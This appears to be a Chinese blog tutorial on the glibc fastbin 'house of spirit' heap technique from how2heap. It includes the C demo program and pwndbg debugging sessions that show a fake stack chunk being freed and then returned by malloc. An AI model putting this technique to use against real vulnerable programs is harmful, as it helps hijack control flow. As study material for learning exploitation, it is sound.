本文主要是介绍从零开始学howtoheap:fastbins的house_of_spirit攻击实操,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.fastbins的house_of_spirit攻击
house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。
2.house_of_spirit演示程序
#include <stdio.h>
#include <stdlib.h>int main()
{fprintf(stderr, "这个例子演示了 house of spirit 攻击\n");fprintf(stderr, "我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它\n");malloc(1);fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");unsigned long long *a, *b;unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");fake_chunks[1] = 0x40; // sizefprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");// 这是fake_chunks[?]可以数一下fake_chunks[9] = 0x1234; // nextsizefake_chunks[2] = 0x4141414141414141LL;fake_chunks[10] = 0x4141414141414141LL;fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);a = &fake_chunks[2];fprintf(stderr, "free!\n");free(a);fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);b = malloc(0x30);fprintf(stderr, "malloc(0x30): %p\n", b);b[0] = 0x4242424242424242LL;fprintf(stderr, "ok!\n");return 0;
}
3.调试house_of_spirit
3.1 获得可执行程序
gcc -g house_of_spirit.c -o house_of_spirit
3.2 第一次调试程序
调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_spirit
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_spirit...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
这块区域 (长度为: 80) 包含两个 chunk. 第一个在 0x7fffffffe568 第二个在 0x7fffffffe5a8.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570
ok!
[Inferior 1 (process 68) exited normally]
pwndbg>
3.3 第二次调试程序
3.3.1 首先在程序的第 14 行下个断点
运行到这里可以看到 fake_chunk 目前还没有被我们写入。
pwndbg> b 14
Breakpoint 1 at 0x400721: file house_of_spirit.c, line 14.
pwndbg> c
The program is not being run.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针Breakpoint 1, main () at house_of_spirit.c:15
15 fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x25RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x400900 (__libc_csu_init+80) ◂— add dword ptr [rax + 0x39], ecxR8 0x25R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10 0x1R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe550 ◂— 0x1RIP 0x400721 (main+123) ◂— mov rax, qword ptr [rip + 0x200938]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400721 <main+123> mov rax, qword ptr [rip + 0x200938] <0x601060>0x400728 <main+130> lea rdx, [rbp - 0x60]0x40072c <main+134> lea rcx, [rdx + 0x48]0x400730 <main+138> lea rdx, [rbp - 0x60]0x400734 <main+142> add rdx, 80x400738 <main+146> mov r8, rcx0x40073b <main+149> mov rcx, rdx0x40073e <main+152> mov edx, 0x500x400743 <main+157> mov esi, 0x4009f80x400748 <main+162> mov rdi, rax0x40074b <main+165> mov eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c10 11 fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");12 unsigned long long *a, *b;13 unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));14 ► 15 fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);16 17 fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");18 fake_chunks[1] = 0x40; // size19 20 fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 ◂— 0x1
01:0008│ 0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 —▸ 0x7fffffffe5e0 ◂— 0x1f7b99608
04:0020│ 0x7fffffffe570 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│ 0x7fffffffe578 ◂— 0x0
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400721 main+123f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:14
pwndbg> p &fake_chunks
$1 = (unsigned long long (*)[10]) 0x7fffffffe560
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001 0x00007fffffffe5e0
0x7fffffffe570: 0x00007ffff7ffe168 0x0000000000000000
0x7fffffffe580: 0x0000000000000001 0x00000000004008fd
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0 0x00000000004005b0
0x7fffffffe5b0: 0x00007fffffffe6a0 0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0 0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608 0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000 0x21d19120b01fed91
pwndbg>
3.3.2 我们直接让他写完,断点第23行
再来看一下,已经构造出fake chunk了。
pwndbg> b 23
Breakpoint 2 at 0x4007a1: file house_of_spirit.c, line 23.
pwndbg> c
Continuing.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)Breakpoint 2, main () at house_of_spirit.c:23
23 fake_chunks[2] = 0x4141414141414141LL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x53RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x400b00 ◂— in al, 0xbdR8 0x53R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10 0x1R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe550 ◂— 0x1RIP 0x4007a1 (main+251) ◂— movabs rax, 0x4141414141414141
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4007a1 <main+251> movabs rax, 0x41414141414141410x4007ab <main+261> mov qword ptr [rbp - 0x50], rax0x4007af <main+265> movabs rax, 0x41414141414141410x4007b9 <main+275> mov qword ptr [rbp - 0x10], rax0x4007bd <main+279> mov rax, qword ptr [rip + 0x20089c] <0x601060>0x4007c4 <main+286> lea rdx, [rbp - 0x60]0x4007c8 <main+290> add rdx, 0x100x4007cc <main+294> mov esi, 0x400b780x4007d1 <main+299> mov rdi, rax0x4007d4 <main+302> mov eax, 00x4007d9 <main+307> call fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c18 fake_chunks[1] = 0x40; // size19 20 fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");21 // 这是fake_chunks[?]可以数一下22 fake_chunks[9] = 0x1234; // nextsize► 23 fake_chunks[2] = 0x4141414141414141LL;24 fake_chunks[10] = 0x4141414141414141LL;25 26 fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);27 a = &fake_chunks[2];28
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 ◂— 0x1
01:0008│ 0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ 0x7fffffffe570 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│ 0x7fffffffe578 ◂— 0x0
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4007a1 main+251f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:23
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001 0x0000000000000040
0x7fffffffe570: 0x00007ffff7ffe168 0x0000000000000000
0x7fffffffe580: 0x0000000000000001 0x00000000004008fd
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0 0x0000000000001234
0x7fffffffe5b0: 0x00007fffffffe6a0 0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0 0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608 0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000 0x21d19120b01fed91
pwndbg>
3.3.3对fake chunk进行free之后。断点第30行
可以看一下fastbin,现在已经有了我们构造的哪个fake chunk了。
pwndbg> b 30
Breakpoint 3 at 0x400808: file house_of_spirit.c, line 30.
pwndbg> c
Continuing.
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!Breakpoint 3, main () at house_of_spirit.c:30
30 free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x6RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x400b00 ◂— in al, 0xbdR8 0x6R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10 0x1R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'AAAAAAAA'RIP 0x400808 (main+354) ◂— mov rax, qword ptr [rbp - 0x70]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400808 <main+354> mov rax, qword ptr [rbp - 0x70]0x40080c <main+358> mov rdi, rax0x40080f <main+361> call free@plt <0x400540>0x400814 <main+366> mov rax, qword ptr [rip + 0x200845] <0x601060>0x40081b <main+373> lea rdx, [rbp - 0x60]0x40081f <main+377> add rdx, 0x100x400823 <main+381> mov esi, 0x400bc80x400828 <main+386> mov rdi, rax0x40082b <main+389> mov eax, 00x400830 <main+394> call fprintf@plt <0x400570>0x400835 <main+399> mov edi, 0x30
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c25 26 fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);27 a = &fake_chunks[2];28 29 fprintf(stderr, "free!\n");► 30 free(a);31 32 fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33 b = malloc(0x30);34 fprintf(stderr, "malloc(0x30): %p\n", b);35 b[0] = 0x4242424242424242LL;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'AAAAAAAA'
01:0008│ 0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ 0x7fffffffe570 ◂— 'AAAAAAAA'
05:0028│ 0x7fffffffe578 ◂— 0x0
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400808 main+354f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:30
pwndbg> n
32 fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x0RBX 0x0RCX 0x7ffff7b04200 (__openat_2+16) ◂— cmp eax, 0x410000 /* '=' */RDX 0x0RDI 0xffffffffRSI 0x7ffff7dd1b38 (main_arena+24) —▸ 0x7fffffffe560 ◂— 0x1R8 0x7fffffffe570 ◂— 0x0R9 0x7ffff7dd2500 (_nl_global_locale+224) —▸ 0x7ffff7b9b997 (_nl_C_name) ◂— add byte ptr [r15 + 0x5f], bl /* 'C' */R10 0x8b8R11 0x7ffff7a914f0 (free) ◂— push r13R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0RIP 0x400814 (main+366) ◂— mov rax, qword ptr [rip + 0x200845]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400808 <main+354> mov rax, qword ptr [rbp - 0x70]0x40080c <main+358> mov rdi, rax0x40080f <main+361> call free@plt <0x400540>► 0x400814 <main+366> mov rax, qword ptr [rip + 0x200845] <0x601060>0x40081b <main+373> lea rdx, [rbp - 0x60]0x40081f <main+377> add rdx, 0x100x400823 <main+381> mov esi, 0x400bc80x400828 <main+386> mov rdi, rax0x40082b <main+389> mov eax, 00x400830 <main+394> call fprintf@plt <0x400570>0x400835 <main+399> mov edi, 0x30
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c27 a = &fake_chunks[2];28 29 fprintf(stderr, "free!\n");30 free(a);31 ► 32 fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33 b = malloc(0x30);34 fprintf(stderr, "malloc(0x30): %p\n", b);35 b[0] = 0x4242424242424242LL;36 fprintf(stderr, "ok!\n");37 return 0;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
01:0008│ 0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ r8 0x7fffffffe570 ◂— 0x0
... ↓
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400814 main+366f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001 0x0000000000000040
0x7fffffffe570: 0x0000000000000000 0x0000000000000000
0x7fffffffe580: 0x0000000000000001 0x00000000004008fd
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0 0x0000000000001234
0x7fffffffe5b0: 0x4141414141414141 0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0 0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608 0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000 0x21d19120b01fed91
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffe560 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
3.3.4 接下来再次malloc一个相同大小的chunk,断点第35行
会把fastbin中的fake chunk申请过去。
empty
pwndbg> b 35
Breakpoint 4 at 0x400860: file house_of_spirit.c, line 35.
pwndbg> c
Continuing.
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570Breakpoint 4, main () at house_of_spirit.c:35
35 b[0] = 0x4242424242424242LL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x1dRBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbec0 ◂— 0x3028636f6c6c616d ('malloc(0')R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x1dR10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0RIP 0x400860 (main+442) ◂— mov rax, qword ptr [rbp - 0x68]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400860 <main+442> mov rax, qword ptr [rbp - 0x68]0x400864 <main+446> movabs rcx, 0x42424242424242420x40086e <main+456> mov qword ptr [rax], rcx0x400871 <main+459> mov rax, qword ptr [rip + 0x2007e8] <0x601060>0x400878 <main+466> mov rcx, rax0x40087b <main+469> mov edx, 40x400880 <main+474> mov esi, 10x400885 <main+479> mov edi, 0x400c0f0x40088a <main+484> call fwrite@plt <0x400590>0x40088f <main+489> mov eax, 00x400894 <main+494> mov rsi, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c30 free(a);31 32 fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33 b = malloc(0x30);34 fprintf(stderr, "malloc(0x30): %p\n", b);► 35 b[0] = 0x4242424242424242LL;36 fprintf(stderr, "ok!\n");37 return 0;38 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ 0x7fffffffe570 ◂— 0x0
... ↓
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400860 main+442f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:35
pwndbg> n
36 fprintf(stderr, "ok!\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x7fffffffe570 ◂— 'BBBBBBBB'RBX 0x0RCX 0x4242424242424242 ('BBBBBBBB')RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbec0 ◂— 0x3028636f6c6c616d ('malloc(0')R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x1dR10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'BBBBBBBB'RIP 0x400871 (main+459) ◂— mov rax, qword ptr [rip + 0x2007e8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400860 <main+442> mov rax, qword ptr [rbp - 0x68]0x400864 <main+446> movabs rcx, 0x42424242424242420x40086e <main+456> mov qword ptr [rax], rcx► 0x400871 <main+459> mov rax, qword ptr [rip + 0x2007e8] <0x601060>0x400878 <main+466> mov rcx, rax0x40087b <main+469> mov edx, 40x400880 <main+474> mov esi, 10x400885 <main+479> mov edi, 0x400c0f0x40088a <main+484> call fwrite@plt <0x400590>0x40088f <main+489> mov eax, 00x400894 <main+494> mov rsi, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c31 32 fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33 b = malloc(0x30);34 fprintf(stderr, "malloc(0x30): %p\n", b);35 b[0] = 0x4242424242424242LL;► 36 fprintf(stderr, "ok!\n");37 return 0;38 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'BBBBBBBB'
... ↓
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ rax 0x7fffffffe570 ◂— 'BBBBBBBB'
05:0028│ 0x7fffffffe578 ◂— 0x0
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400871 main+459f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001 0x0000000000000040
0x7fffffffe570: 0x4242424242424242 0x0000000000000000
0x7fffffffe580: 0x0000000000000001 0x00000000004008fd
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0 0x0000000000001234
0x7fffffffe5b0: 0x4141414141414141 0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0 0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608 0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000 0x21d19120b01fed91
3.4 总结
伪造chunk时需要绕过一些检查,首先是标志位,PREV_INUSE
位并不影响 free的过程,但 IS_MMAPPED
位和 NON_MAIN_ARENA
位都要为零。其次,在64位系统中fast chunk的大小要在 32~128 字节之间。最后,是next chunk的大小,必须大于 2*SIZE_SZ
(即大于16),小于 av->system_mem
(即小于128kb),才能绕过对next chunk大小的检查。
所以house_of_spirit的主要目的是,当我们伪造的fake chunk内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk里填充一些字母,但在现实中这些位置很可能是不可控的,而house_of_spirit也正是以此为目的而出现的。
4.参考资料
【PWN】how2heap | 狼组安全团队公开知识库
这篇关于从零开始学howtoheap:fastbins的house_of_spirit攻击实操的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!